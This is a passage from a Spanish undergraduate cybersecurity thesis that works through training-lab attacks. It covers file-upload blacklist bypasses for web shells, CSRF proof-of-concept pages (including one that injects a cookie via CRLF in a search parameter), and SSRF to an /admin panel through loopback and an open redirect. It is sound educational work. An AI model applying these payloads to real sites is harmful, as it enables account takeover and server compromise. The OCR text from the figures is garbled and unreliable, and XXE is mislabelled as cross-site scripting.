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Una tactica poco eficaz para proteger un servidor web es usar listas negras de
extensiones de archivo peligrosas, ya que es dificil bloquear todas las posibles,
extensiones como .php5 y .phtml pueden eludir esta defensa. Con Burp Suite Intruder se
pueden probar todas las extensiones para hallar la que funcione. Incluso las listas negras
exhaustivas pueden ser burladas con ofuscacién, por ejemplo, usar .pHp en lugar de .php,
o multiples extensiones como .png.php si el servidor acepta solo imagenes, ademas, si el
servidor lee de derecha a izquierda, intercambiar extensiones y afnadir un byte nulo
también funciona.

Otra técnica es afadir caracteres finales, como en “.php.”, que algunos
componentes ignoran. La codificacion URL, como webshell%2Ephp, y doble codificacion
también son utiles, una técnica peculiar es anadir punto y coma o bytes nulos antes de la
extension, como en webshell.php;.jpg. La defensa de eliminar o sustituir extensiones
peligrosas puede ser eludida si no es recursiva, por ejemplo, webshell.p.phphp se
convertiria de nuevo en “.php” si se elimina la subcadena “.php”.

5.4 Cross-site request forgery (CSRF)

La falsificacién de peticion en sitios cruzados (también conocida como Cross-site
request forgery, en adelante CSRF) es una vulnerabilidad de seguridad web que permite a
un atacante inducir a los usuarios a realizar acciones que no tienen intencidn de realizar.
Permite a un atacante eludir en parte la politica del mismo origen, disefiada para evitar
que diferentes sitios web interfieran entre si.

En un atague CSRF exitoso, el atacante hace que el usuario victima lleve a cabo
una accion involuntariamente, como cambiar la direcciobn de correo electréonico de su
cuenta, su contrasefia o realizar una transferencia de fondos.

Dependiendo de la naturaleza de la accion, el atacante podria obtener el control
total de la cuenta del usuario. Si el usuario comprometido tiene un rol privilegiado dentro
de la aplicacion, entonces el atacante podria ser capaz de tomar el control total de todos
los datos y funcionalidades de la aplicacion.

Para que un ataque CSRF sea posible, deben darse tres condiciones clave, la
primera es que exista en la aplicaciéon una accion relevante que el atacante tenga una
razon para inducir (como la accién de cambiar un correo electronico), el segundo es que
la aplicacién web se base unicamente en cookies de sesion para identificar al usuario y no
exista ningun otro mecanismo para rastrear las sesiones o validar las peticiones de los
usuarios, y el tercer motivo es que no existan parametros de peticién impredecibles; las
peticiones que realiza la accion no deben contener ningun parametro cuyos valores el
atacante no puede determinar o adivinar (si una accién para poder cambiar la contrasefna
de un usuario se necesita su anterior contrasefa, no seria vulnerable).

En la figura 27 se muestra un ejemplo de una peticion HTTP vulnerable que cambia
el correo de la victima. La pagina sélo acepta a los usuarios mediante cookies y los
parametros son faciles de determinar. La figura 28 muestra el cdédigo de nuestra pagina
maliciosa, que al ser visitada por la victima, envia automaticamente una peticion POST a
la web vulnerable, cambiando el correo al del atacante. Esto ocurre inmediatamente al
cargar la pagina, debido a la linea “document.forms[0].submit();” en el script.
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POST /email/change HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/zx-www-form-urlencoded

Content-Length: 30

Cookie: session=yvthwsztyeQkAPzeQ5gHgTv1yxHfsSAfE

email=wiener@normal-user.com

Figura 27 - Ejemplo peticion HTTP vulnerable “cambiar correo electrénico”

<html>
<body>

<form action="https://vulnerable-website.com/email/change" method="POST">

<input type="hidden" name="email" valus="pwnedf@evil-user.net" />

</form:>
<script>
document.forms[0] .submit () ;
</script>
</body>
</html>

Figura 28 - Ejemplo web maliciosa que explota CSRF

Crear manualmente el HTML necesario para un exploit CSRF puede ser engorroso,
especialmente cuando la solicitud deseada contiene un gran numero de parametros, o
hay otras peculiaridades en la solicitud. Sin embargo, se puede hacer uso de
herramientas que facilitan esta tarea como lo es un generador de PoC[119] CSRF, Burp
Suite tiene uno integrado (pero solo en su version de pago), aunque existen varios en

Dashboard Target Proxy ntruder Repeate Collaborator Sequencer Decoder (&) Settings THIS IS your Server. You can use the form below 10 save an exploit, and send it 1o the victim
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+ P or Chrome
e Target: hitps://0a8d0087042b4303807458c200a70040. web-s... (P | HITPR2 (3)
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* JURL: hitps /exploit-0a8d00d1043c43408058570d011b0056.exploit-server. netexploit Aviso del
w=ls ,
£ laboratorio
et g lm S S s
3 URL de nuestra aplicacion web maliciosa
G /2010 F fox/1
Javif E] lexploit
i% E HTTP/L.1 200 OK
Content-Type: texthtmi; charset=utf-8
! my- 2 i
0 good v .
PoC CSRF sin defensas
. ez .
Peticion HTTP vulnerable interceptada pr—
. " <body>
& ) highligh
o® P <form action="hips://0aBd008704eba303807458c200a70040 web-security-academy.nel/my-account/change-email’
Imethod="POST">
Response method " ~
P o input type="hidden" name="email" value="good-hacker-cristopher@normal-user.net" />
Raw Hackverto: @Bnws=s <fform>
<script>
OB e . 0 highights document.forms[0].submit(),
</script>
Ready </body>
Event log All issues @© Memory:198.9MB <huml>

Figuras 29.ay 29.b - Ejemplo ataque CSRF sin defensas
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En la figura 29.a observamos como usando Burp Suite hemos interceptado una
peticion de cambio de correo electronico de una pagina web vulnerable al CSRF. Por
tanto, creamos una pagina web a partir de esa peticion hospedada en nuestro propio
servidor (que el laboratorio de la figura 29.b nos ofrece una simulacion de uno), y una vez
terminada nuestra pagina web estaria lista para ser entregada a la victima.

Al igual que en la figura 28, en la figura 29.b vemos como nuestra pagina web
maliciosa tratara de cambiar el correo electrénico de la cuenta de usuario de la victima en
la pagina web vulnerable a “good-hacker-cristopher@normal-user.net”, y lo hara enviando
un formulario en una peticion POST con un atributo oculto o “hidden” de nombre “email”.

Hoy en dia, encontrar y explotar vulnerabilidades CSRF a menudo implica eludir las
medidas anti-CSRF desplegadas por el sitio web, el navegador de la victima, o ambos.

Las defensas mas comunes contra CSRF son, la primera, tokens CSRF que son un
valor unico, secreto e impredecible generado por la aplicacion del lado del servidor y
compartido con el cliente, de modo que al realizar una accién sensible, el cliente debe
incluir dicho token, la segunda defensa comun son cookies SameSite el cual son un
mecanismo de seguridad del navegador que determina cuando se incluyen las cookies en
un sitio web en las solicitudes procedentes de otros sitios web, y la ultima medida de
seguridad comun es la validacion basada en Referer, algunas aplicaciones hacen uso de
la cabecera HTTP Referer para intentar defenderse de ataques CSRF, verificando que la
peticion se origind en el propio dominio de la aplicacion.

Pese a las defensas que los sitios web presentan para defenderse de ataques
CSRF, en muchos casos siguen siendo vulnerables debido a una implementacién
defectuosa de dichas defensas, un claro ejemplo es el de los tokens CSRF. Vamos a
tratar algunos de los problemas que permiten a los atacantes eludir estas defensas.

La primera forma de eludir defensas contra tokens CSRF es cuando /a validacion
del token depende del método de solicitud, algunas aplicaciones validan correctamente el
token cuando la peticion usa el método POST, pero omiten la validaciéon cuando se usa el
método GET, en esta situacién el atacante puede cambiar al método GET para saltarse la
validacion y realizar un ataque CSRF

Request Request

Raw Hex Hackvertor Raw Hex Hackvertor . no =
1 POST /my-account/change-email HTTP/2 1 GET /my-account /change-email?emai l=wiener 1%40normal - user . netcsrf = igReY xZ10HHduR] dLby QFVihzYH3J v im
2 Host: DalcOOc8047ded2880366d81009a004d . web- security-academy.net HTTP/2
Cookie: session=tflOQwNZGMPOQOMWTAZTgrMaF]zgbwsd ; Host: 0alcO0c8047ded2880366d81009a004d .web-security-academy.net Ellmlnar
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefo 3 Cookie: session=tflOQWNZGMPOQOdWTAZTgrMaFjzgDwsd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im 4 User-Agent: Moz illass.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
& Accept-Language: en-US,en;q=0.5 S Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image /webp,*/#;q=0.8
7 Accept-Encoding: gzip, deflate, br BlAceapt-Languagae: enh LS;en;q-0.5

Accept-Encoding: gzip, deflate, br

2 Origin: https://0alc00c8047ded2880366d81009a004d . web-security- academy.net
o Referer: https://0alc00c8047ded2880366d81009a004d . web-security-academy.net/my-account?1d=wiener
O Upgrade-Insecure-Requests: 1
1 Sec-Fetch-Dest: document

W

w

& Content-Type: application/x-www-form-urlencoded
S Content-lLength: 69
10 Grigin: https://0alc00cE047ded2880366d81009a004d . web- security-academy.net
Referer: https://0alc00c8047ded2880366d81009a004d . web- securi ty-academy.net/ i
12 Upgrade-Insecure-Requests: 1 1
3 Sec-Fetch-Dest: document 12 Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate 14|6a6-Fatch-Lagis 91
Sec-Fetch-Site: same-origin 15 Te: trailers
1
1
1
1

© Sec-Fetch-User: 71 @Token CSRF

2 Sec-Fetch-Mode: navigate

e

)

7 Te: trailers

S email=wiener1%40normal-user . netfscsr f=wgReY x210HHUR] d by QFviWhzY H31vam|

Figura 30 - Paso de método POST a GET peticion HTTP con token CSRF

o

Como se refleja en la figura 30, tras cambiar de método de solicitud, en este caso
es como si la pagina web no tuviera defensas, entonces basta con que un usuario entre al
enlace http://<web-vulnerable>/<ruta-accion-sensible>?email=user@domain-example.com
para que la victima acceda a través del método GET, o podemos crear una pagina web a
través de un PoC CSRF, que resulte en un codigo fuente de una pagina web maliciosa
como el de la figura 28, pero usando el método GET. En el ejemplo de la solicitud GET de
la figura 30, se ha dejado el parametro CSRF para ilustrar como seria esta peticidn tras
cambiar de una peticion a otra, pero para poder explotar la vulnerabilidad hay que quitarlo.
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La segunda forma para eludir tokens CSRF es omitir el uso del propio token CSRF,
algunas aplicaciones validan correctamente el token cuando esta presente, pero se saltan
la validacion si se omite, en esta situacion el atacante puede borrar el parametro entero
(no solo el valor del parametro, sino todo el parametro de la peticion) para evitar la
validacion y efectuar el ataque. Tras omitir el token la forma de proceder en este caso es
exactamente igual a la reflejada en la figuras 29.a 'y 29.b.

La tercera forma para eludir tokens CSRF es que no estén vinculado a la sesion del
usuario, algunas aplicaciones no validan que el token pertenezca a la misma sesion que
el usuario que realiza la solicitud, en su lugar, la aplicacion mantiene un pool global de
tokens que ha emitido y acepta cualquier token que aparezca en este pool. En esta
situacion el atacante puede iniciar sesidn en la aplicacién usando su propia cuenta,
obtener un token valido, y luego alimentar con ese token al usuario victima en su ataque
CSRF anadiendo el token a la pagina web maliciosa como un atributo “hidden”.

La cuarta forma es una variacion de la anterior, algunas aplicaciones vinculan el
token CSRF a una cookie, pero no a la misma cookie que se usa para rastrear las
sesiones, esto puede ocurrir facilmente cuando una aplicacion emplea dos frameworks
diferentes que no estan integrados (uno para el manejo de sesiones y otro para la
proteccion CSRF). Si el sitio web tiene un comportamiento que deje a un atacante
establecer una cookie en el navegador de la victima, se puede realizar un ataque. El
atacante puede iniciar sesion en la aplicacion usando su cuenta, obtener un token valido y
su cookie asociada, aprovechar el comportamiento de establecimiento de cookies para
colocar su cookie en el navegador de la victima (este comportamiento ni siquiera necesita
existir en la aplicacién vulnerable), y alimentar su token a la victima en su ataque CSRF.

En el laboratorio de la figura 31, tenemos una plataforma web vulnerable a CSRF
muy similar al de la figura 30 salvo por dos diferencias clave, la primera es que todos los
tokens CSRF estan vinculados a una cookie que no es la de sesién, y la segunda es que
la plataforma ahora cuenta con una nueva funcionalidad, y es que tiene una barra de
busqueda que permite hallar articulos en la pagina web que al ser usado genera una
consulta HTML dinamica (dato muy importante).

La cookie vinculada al token hace que ahora sea mucho mas dificil explotar la
vulnerabilidad CSRF, dado que esta ligada al token, la unica forma en este escenario de
explotar la vulnerabilidad seria hallando una forma de inyectar la cookie junto con el
token, y resulta que, la barra de busqueda nueva que genera dinamicamente consultas
HTML, si resulta que no tiene ninguna defensa para evitar la inyeccion de cédigo HTML
en sus busquedas, podriamos inyectar la cookie en una peticion GET sin proteccion
CSREF (porque dicha funcionalidad no posee dicha proteccion).

En la figura 31, interceptamos la peticion HTTP y la enviamos al Repeater, en la
que realizamos una busqueda en la barra de busqueda de la aplicacién, y tratamos de
inyectar la cookie vinculada al token CSRF a la peticion, y como se puede ver en la
respuesta de la peticidn en la parte inferior de la figura 31, lo logramos. Ya tenemos una
forma de inyectar la cookie CSRF en una peticion a la plataforma, ahora tenemos que
crear una pagina web maliciosa, que realice la accién sensible que queremos que la
victima realice involuntariamente, y que incluya el token CSRF, y ademas, en esa misma
pagina web realizar la inyeccion de la cookie para que la accidn sensible sea aceptada.
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Request

@ Inyeccion de token CSRF

1 GET /?search:test%Od%OaSet-CooLle:%20ksrfkey:ﬁvchNJILCLJWMLBpofTAJFNOkaXOI1h3b%2053me$1te:None HTTP/2
2 Host: 0a9000ab030fc12f820c8d7b002d009a.web-security-academy.net
Cookie: session=V8kzAlb6NvUptN4UQgP40PnZ9n9401lzr; LastSearchTerm=j,h
| User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1image/avif,image/webp,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a9000ab030fc12f820c8d7b002d009a.web-security-academy.net/?search=j%2Ch
) Upgrade-Insecure-Requests: 1
) Sec-Fetch-Dest: document
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Site: same-origin
Sec-Fetch-User: 71
14 Te: trailers

@@ee s

Response

Raw Hex Hackvertor

Pretty Raw Hex Render Hackvertor

HTTP/2 200 OK G Prueba de inyeccion exitosa
2 Set-Cookie: LastSearchTerm=test
|3 Set-Cookie: csrfKey=RVc4FNJILC1]wWMk3pofT4JFNOkZvXQIl ;| SameSite=None; Secure; HttpOnly
4 Set-Cookie: sessi1on=9fJP21J9Qbqb3L06DCAKRYYwshTEOSRW; Secure; HttpOnly; SameSite=None

Figura 31 - Prueba de inyeccién de cookie con el buscador de la web

El cédigo fuente de la pagina web maliciosa mostrado en la figura 32, es capaz de
explotar la vulnerabilidad CSRF del laboratorio de la figura 31, esta pagina web tiene una
estructura similar a la de la figura 28, con la diferencia de que hemos quitado la etiqueta
“script” y la hemos reemplazado por la etiqueta “img”, debido a que para inducir la
inyeccion de la cookie ligada al token, vamos a usar la estrategia de usar la etiqueta “img”
para que dicha etiqueta sea la que lance la peticion GET que se encarga de inyectar la
cookie como se observa en la primera linea de la seccién Request de la figura 31, y como
la etiqueta “img” va a devolver un error (porque va a tratar de buscar una imagen y
evidentemente no la va a encontrar y va a devolver un error), en la etiqueta “img”
definimos el campo “onerror” para especificar que si hay un error en ese caso se presente
el formulario, y efectuar el cambio de correo de la victima.

<html>
<hody>
<form action="https://0a9000ab030fc12f820c8d7b002d009%a. weh-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="good-hacker-cristopher@normal-user.net" />
<input type="hidden" name="csrf" value="6RIiIMzwMMxBiBOEnmwyb3cOUC32d6Np7" />
</form>
<img src="https://0a9000ah030fc12f820c8d7h002d009a.web-security-academy.net/?search=Cristopher%0d%0aSet-
Cookie:%20csfKey=RVc4FNJILCIjWMk3pofT4JFNOKZvXQIi%3hb%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</himl>

Figura 32 - Cédigo de pagina web que explota CSRF con inyeccidén de cookie

Por ultimo, el ultimo escenario en el que podriamos eludir las defensas contra
tokens CSRF, es una variacion de la vulnerabilidad anterior, algunas aplicaciones no
mantienen ningun registro del lado del servidor de los tokens que se han emitido, sino que
duplican cada token dentro de una cookie y un parametro de solicitud. Cuando se valida la
peticidn subsiguiente, la aplicacion simplemente verifica que el token enviado en el
parametro de peticion coincide con el valor enviado en la cookie. Esto se denomina a
veces la defensa de "doble envio" contra CSRF, y se recomienda porque es simple de
implementar y evita la necesidad de cualquier estado del lado del servidor. En esta
situacion, el atacante puede realizar de nuevo un ataque CSRF si el sitio web contiene
alguna funcionalidad de configuracion de cookies. Aqui, el atacante no necesita obtener
un token valido propio. Este escenario seria similar de explotar que el del laboratorio de la
figura 31, con la diferencia que el valor del token y la cookie vinculada deben ser iguales.
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5.5 Server-side request forgery (SSRF)

La falsificacion de peticion del lado del servidor (También conocida como
Server-side request forgery, en adelante SSRF) es una vulnerabilidad de seguridad web
que permite a un atacante hacer que la aplicacion del lado del servidor realice peticiones
a una ubicacion no deseada. En un ataque SSREF tipico, el atacante puede hacer que el
servidor realice una conexién a servicios internos dentro de la infraestructura de la
organizacion. En otros casos, pueden forzar al servidor a conectarse a sistemas externos
arbitrarios. Esto podria filtrar datos sensibles, como credenciales de autorizaciéon o
secretos empresariales.

Los ataques SSRF suelen explotar las relaciones de confianza para escalar un
ataque desde la aplicacion vulnerable y realizar acciones no autorizadas. Estas relaciones
de confianza pueden existir en relacién con el servidor, o en relacion con otros sistemas
back-end dentro de la misma organizacion.

Un ataque comun SSRF es contra el propio servidor que contiene la pagina web
vulnerable, donde el atacante hace que la aplicacion realice una peticion HTTP al servidor
que aloja la aplicacion, a través de su interfaz de red loopback (localhost o 127.0.0.1).

En las figuras 33.a y 33.b, nos encontramos ante un laboratorio que contiene una
pagina web vulnerable a un ataque SSRF contra la maquina que la almacena. Esta
pagina web simula una aplicacion de venta de articulos, y cada articulo tiene una
funcionalidad que es un botdn que nos permite saber cuanta cantidad de dicho articulo
sigue disponible en el almacén si quisiéramos comprarlo y en qué almacén concreto.

Para comprobar los articulos disponibles en un almacén, la pagina web contiene
una peticion HTTP con un parametro “stockApi” (resaltado en la parte central de la figura
33.a) que se encarga de realizar una peticion GET a un servidor externo usando una URL
que realiza dicha tarea. Dicha URL, en un comportamiento normal de la aplicacién, tiene
el siguiente aspecto (storeld es el ID del almacén y productID el del producto).

stockApi=http.//stock.weliketoshop.net:8080/product/stock/check?productld=20&storeld=1

& C @ 2 10e100e2.web-security-academy.net/admin

Request
Raw  Hex  Hackvertor w o=
1 POST /product/stock HTTR/2
2 Host: 0aD40082031670158096df 5200210022, web-security-academy.net
3 Cookie: session=DGedtvn3mBLtSKToocQOmPXboRfwIpil
4 User-Agent: Mozilla/S.0 (X11; Linux xB86_84; rv:109.0) Gecko/20100101 Firefox/115.0

Kali Linux & KaliTools = KaliDocs Kali Forums e Kali NetHur.er Exploit-DB

Web SECUfj_ty Egrs\jgrSSRF against the I 8 s

sopadsul  gp

S Accept: ++ Academy'<| Primer intento de acceder
al portal "/admin"

6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
5 Referer:
https:/ 0316701 o f 100e2.web-security- academy.net/product?productId=20
S Content-Type: application/x-www-form-urlencoded
0 Content-Length: 31
1 0rigin: https://0a040082031670158096df 5600210062 . web- securi ty-acadamy. net
2 Sec-Fetch-Dest: empty
2 sec-Fetch-Mode: cors
4 Sec-Fetch-Site: same-origin

S30N [

B Segundo intento de
T |<:| acceder al portal "/admin"

D@ (¢)[3] [serc através de SSRF  » ot
Response
Pretty Raw Hex Hackvertor n =

ngegundo intento exitoso Primer intento fallido

Z Content- 1ype: tex charset=utf-8

|Admin interface only available if logged in as an administrator, or if requested from Ioopbackl

3 Cache-Control: no-cdche

4 Set-Coockie: session=GraBEZe3SSEYGOKYe3L1MI2FAcgOfdsn; Secure; HttpOnly; SameSite=None
S X-Frame-Options: SAMEORIGIN

© Content-Length: 5872

8 <!DOCTYPE html>
9 <html>
10 <head>

Figuras 33.ay 33.b - Ataque SSRF contra el propio servidor que tiene la pagina web
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No obstante, dicha URL forma parte del cédigo de la aplicacion del lado del cliente,
eso quiere decir que podemos cambiar el valor de dicha URL al de nuestro interés vy
realizar peticiones a cualquier servidor y dichas peticiones seran realizadas en nombre de
la aplicacion vulnerable. Como podemos observar en la parte superior de la figura 33.b,
existe un portal privado de la aplicacion llamado “/admin”, que esta restringido a usuarios
privilegiados; no obstante, la misma aplicacion nos dice que se puede acceder a dicho
portal a través de la interfaz de loopback. Por lo tanto, podemos modificar la URL del
parametro “stockApi” para acceder a través de la interfaz loopback al portal “/admin”, y
como se aprecia en la parte inferior de la figura 33.a, lo conseguimos.

Otro tipo de ataque SSRF muy comun es el dirigido contra otros sistemas back-end
diferentes al que aloja la pagina web vulnerable, dado que en algunos casos, el servidor
vulnerable puede interactuar con sistemas back-end que no son directamente accesibles
por los usuarios, ya que estos sistemas suelen tener direcciones IP privadas no
enrutables.

Como en la mayoria de casos no se conoce la direccion IP ni el puerto del servicio
back-end, ni tampoco el subdirectorio al que queramos acceder, podemos realizar un
ataque de fuzzing para tratar de hallar estos tres datos (para facilitar esta tarea podriamos
usar un ataque Sniper con el Intruder de Burp Suite).

Es comun ver aplicaciones que contienen comportamientos SSRF junto con
defensas para prevenir su explotacion maliciosa, normalmente a través del uso de filtros
SSRF de entradas basados en listas negras.

Aqui se podrian incluir el bloqueo de entradas que contienen nombres de host
como 1727.0.0.1 o localhost o URLs sensibles como “/admin”. En esta situacion,
dependiendo de qué tan sofisticada sea la lista negra, podemos eludirla usando técnicas
como usar una representacion IP alternativa de 727.0.0.1 (en el caso de ataque SSRF
contra el propio servidor), como lo es 127.1 por ejemplo.

Una técnica mas sofisticada para eludir filtros SSRF es explotar una vulnerabilidad
de redireccidon abierta[120]. Si la APl usada para realizar la solicitud HTTP back-end
admite redirecciones, se puede construir una URL que satisfaga el filtro que se esté
aplicando contra ataques SSRF y dé como resultado una solicitud redirigida al objetivo
back-end deseado.

En la figura 34 mostramos un ejemplo de estas caracteristicas. Nos encontramos
en un laboratorio muy similar al de las figuras 33.a y 33.b, salvo por el hecho de que el
parametro “stockApi” ahora posee mejores filtros, y cualquier intento basado en listas para
eludir dichos filtros no funcionan.

No obstante, este nuevo laboratorio tiene una nueva funcionalidad que radica en
que si nos hallamos visualizando un producto, podemos cambiar al siguiente producto con
el boton “Next Product’ (visible en la parte superior derecha de la figura 34). Dicha
funcionalidad, usa el parametro “path” para indicar el subdirectorio en la pagina web
vulnerable donde accede al siguiente producto:

/product/nextProduct?currentProductld=11&path=/product?productlid=12

Descubrimos que podemos cambiar el valor del parametro “path” para colocar una
URL completa y aprovechar una vulnerabilidad de redireccién abierta en ella, y asi,
realizar un ataque SSRF, como se muestra en la figura 34. En dicha figura volvemos a
usar el parametro “stockApi” para realizar el ataque SSRF, pero a su vez, usamos la
funcién “next product” y el parametro “path” para satisfacer los filtros SSRF.
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En el caso de la figura 34, el ataque SSRF funciona porque la aplicacién primero
valida que la URL suministrada por “stockApi” esta en un dominio permitido (informacion
dada de antemano en el laboratorio); después la aplicacion solicita la URL dada, lo que
desencadena la redireccion abierta, haciendo que la aplicacion realiza una peticién a la
URL interna que sea de nuestro interés, en este caso el portal “/admin” de la maquina
192.168.0.12:8080

Users

wiener - Delete

)

carlos - Delete Prueba de ataque exitoso

P | ] TR N s "
Funcién "Next Product" | - == >I1 product
Request g —r =
Raw Hex Hackvertor n = selection 83(0x53) , ~ E
1 POST /product/stock HTTR/2 Ataque SSRF con redireccion 3
2 Host: Oaed00ef04a2e354806T71ad00f6000a. web-security-academy.net . Selected text 5
3 Cookie: session=cAlzd3HOCUXSwQr3qfELhgGHOKT re2qy abierta d?&&qllfl?sz?qgiuct%ﬁnextp =

4 User-Agent: Mozilla/S.0 (X11; Linux x86 64; rv:109.0) Gecko/20100101 Firefox/115.0 t:,B\:patﬁ%Bdhttp%Ba%ZF%

S |Accept: */%

& Accept-lLanguage: en-US,en;g=0.5 #168.0, 1 %e3aB0B%2 a1 B
7 Accept-Encoding: gzip, deflate, br =
S Referer: https://0as400ef04a2e3548061 71ad00f 6000a. web- security- academy.net/product?productId=11 g
S Content-Type: application/x-www-form-urlencoded ]

10 Content-Length: 83 Decoded from: URL encoding v

11 origin: https://0aed00ef04a2e354806f 71ad00f 6000a.web- security- academy.net
12 Sec-Fetch-Dest: empty
132 Sec-Fetch-Mode: cors

stockApi=/product/nextProdu
ct?path=http://192.168.0.12

14 Sec-Fetch-Site: same-origin :8080/admin
15 Te: trailers
16 ancel Apply changes
17 stockApi=%2fproduct%2fnextProduct%3fpath%3dhttp%s3a%2f%s2f 192, 168. 0. 12%3a8080%2f admin
@ @ € ||| | search 0 0 highlights | Request attributes 2 v
Response Request query parameters 0 b
Pretty Raw Hex el i3 clovertor n =
- Request body parameters 1 v
Bl s T Ataque exitoso
T CONTEn T TypeT textNgEm Et=utf-8 .
Request cookies 1 ~

= Cache-Control: no-cac
4 X-Frame-Options: SAMEORIGIN

Figura 34 - Ataque SSRF con redireccion abierta
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Capitulo 6 Conclusiones y lineas
futuras

En este trabajo hemos profundizado en algunos aspectos de la ciberseguridad.
Concretamente nos hemos centrado en el pentesting, aplicando estrategias especificas
para las diferentes fases de la intrusion de maquinas informaticas, asi como en la
seguridad de aplicaciones web aprendiendo principalmente eludir sus defensas mas
comunes.

En el ambito de la seguridad de las aplicaciones web y sus principales
vulnerabilidades, hemos tenido la oportunidad de analizar varios casos donde hemos
podido introducir contenido ilegitimo en diversos campos de una aplicacion web para
poder lograr diferentes fines, desde obtener informacion critica de la base de datos de las
aplicaciones, hasta ser capaces de acceder al contenido de archivos del propio sistema
informatico que contiene la pagina web, pasando por lograr subir archivos maliciosos al
sistema que nos puede ayudar a tomar posesion completa de la maquina.

También hemos podido implementar técnicas que nos han permitido realizar
acciones sensibles en nombre de un usuario victima, como modificar sus datos
personales asociados a su cuenta en una plataforma web legitima y hemos sido capaces
de acceder a recursos ocultos al publico de una plataforma web, forzando a la propia
plataforma web vulnerable a solicitar dichos recursos en su nombre para después
mostrarnos dichos recursos ocultos.

Por otro lado, a través de la plataforma TryHackMe, realizamos la resolucion de 13
maquinas. En ellas pudimos ejecutar técnicas de todo tipo para poder explotar sus
vulnerabilidades y ganar acceso a la misma, desde aprovechar fallos en los accesos a los
recursos de la maquina, pasando por aprovechar disefos de servicios inseguros, fallos en
las configuraciones del sistema y, hasta explotar componentes vulnerables o
desactualizados. También hemos empleado técnicas que, una vez ganado acceso a la
maquina, nos han permitido tomar el control a través del escalado de privilegios. Ademas,
aunque se han mostrado los mas significativos, también se han realizado otro tipo de
ataques como lo son los centrados en fallos criptograficos en las comunicaciones.

También destacamos que, gracias a los laboratorios de seguridad realizados en la
plataforma Web Security Academy, que en total han sido mas de cuarenta en total, hemos
podido aprender y practicar, todas las vulnerabilidades web aprendidas y expuestas.

En total, entre las plataformas TryHackMe y Web Security Academy se han resuelto
mas de 55 laboratorios, incluyendo maquinas con diferentes sistemas operativos,
diferentes servicios, diferentes configuraciones, etc. Sin embargo, la tarea de penetracion
es muy compleja ya que involucra todas las ramas de la informatica, y ademas requiere
un conocimiento muy en profundidad de cada una de estas ramas. Por tanto, por
limitaciones de tiempo sélo hemos explorado la parte superficial de esta disciplina,
aunque a decir verdad, gracias a los contenidos abordados en el proyecto, he podido
descubrir que la ciberseguridad es una disciplina que me encanta, debido a este hecho
me encantaria seguir profundizando en el area de vulnerabilidades web porque es el
ambito donde mas estoy formado actualmente, aunque seguramente prosiga fomentando
mi formacién en distintas areas de la ciberseguridad como lo son la seguridad en redes, o
en telefonia movil.
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Los siguientes pasos para poder continuar con este proyecto, serian entrar en
detalle en las fases del pentesting que no pudimos abordar adecuadamente, que son la
de reconocimiento y documentacion, aprovechando para resolver maquinas en las cuales
sea necesario desarrollar una buena fase de reconocimiento, aplicando herramientas
tanto de reconocimiento pasivo y activo, y al final de su resolucion, entrar en contacto con
varias herramientas de la fase de documentacién para desarrollar documentos sobre cada
maquina resuelta siguiendo sus debidas pautas.

Por otro lado, aprovechariamos para ampliar el numero de vulnerabilidades
estudiadas y probadas tanto en la fase de explotacién para ganar acceso a la maquina
victima, como lo son Cross-site scripting (XXE), vulnerabilidades de autenticacion,
WebSockets, inyecciones NoSQL o condiciones de carrera, entre otros. Ampliariamos el
numero de técnicas conocidas para realizar una escalada de privilegios apropiada como
los exploits del kernel, empleo de protocolos adicionales como NFS, u otras tareas
realizadas en la fase de post-explotacién como el uso del pivoting, o técnicas que nos
permitan mantener el acceso a la maquina vulnerada en el tiempo, por nombrar algunas.
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Capitulo 7 Summary and Conclusions

In this work we have delved into some aspects of cybersecurity. Specifically, we
have focused on pentesting, applying specific strategies for the different phases of the
intrusion of computer machines, as well as on the security of web applications, learning
how to circumvent their most common defences.

In the field of web application security and its main vulnerabilities, we have had the
opportunity to analyse several cases where we have been able to introduce illegitimate
content in various fields of a web application in order to achieve different purposes, from
obtaining critical information from the database of the applications, to being able to access
the content of files on the computer system itself that contains the web page, to uploading
malicious files to the system that can help us to take complete possession of the machine.

We were also able to implement techniques that allowed us to perform sensitive
actions on behalf of a victim user, such as modifying their personal data associated with
their account on a legitimate web platform, and we were able to access publicly hidden
resources on a web platform, forcing the vulnerable web platform itself to request these
resources on their behalf and then show us these hidden resources.

On the other hand, through the TryHackMe platform, we carried out the resolution of
13 machines. We were able to use all kinds of techniques to exploit vulnerabilities and
gain access to the machine, from exploiting failures in access to the machine's resources,
to taking advantage of insecure service designs, failures in system configurations and
even exploiting vulnerable or outdated components. We have also employed techniques
that, once we have gained access to the machine, have allowed us to take control through
privilege escalation. In addition, although we have shown the most significant ones, we
have also carried out other types of attacks such as those centred on cryptographic
failures in communications.

We also highlight that, thanks to the security labs conducted on the Web Security
Academy platform, which have been more than forty in total, we have been able to learn
and practice all the web vulnerabilities learned and exposed.

In total, between the TryHackMe and Web Security Academy platforms, more than
55 labs have been solved, including machines with different operating systems, different
services, different configurations, etc. However, the task of penetration is very complex as
it involves all branches of computer science, and also requires a very in-depth knowledge
of each of these branches. Therefore, due to time constraints we have only explored the
superficial part of this discipline, although to tell the truth, thanks to the contents addressed
in the project, | have been able to discover that cybersecurity is a discipline that | love, due
to this fact | would love to continue deepening in the area of web vulnerabilities because it
is the area where | am currently most trained, although | will surely continue to promote my
training in different areas of cybersecurity such as network security, or mobile telephony.

The next steps to continue with this project would be to go into detail in the phases
of pentesting that we were not able to address adequately, which are the recognition and
documentation phases, taking advantage of the opportunity to resolve machines in which it
is necessary to develop a good recognition phase, applying both passive and active
recognition tools, and at the end of its resolution, to contact various tools in the
documentation phase to develop documents on each machine resolved following the
appropriate guidelines.
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On the other hand, we would take the opportunity to expand the number of
vulnerabilities studied and tested both in the exploitation phase to gain access to the victim
machine, such as Cross-site scripting (XXE), authentication vulnerabilities, WebSockets,
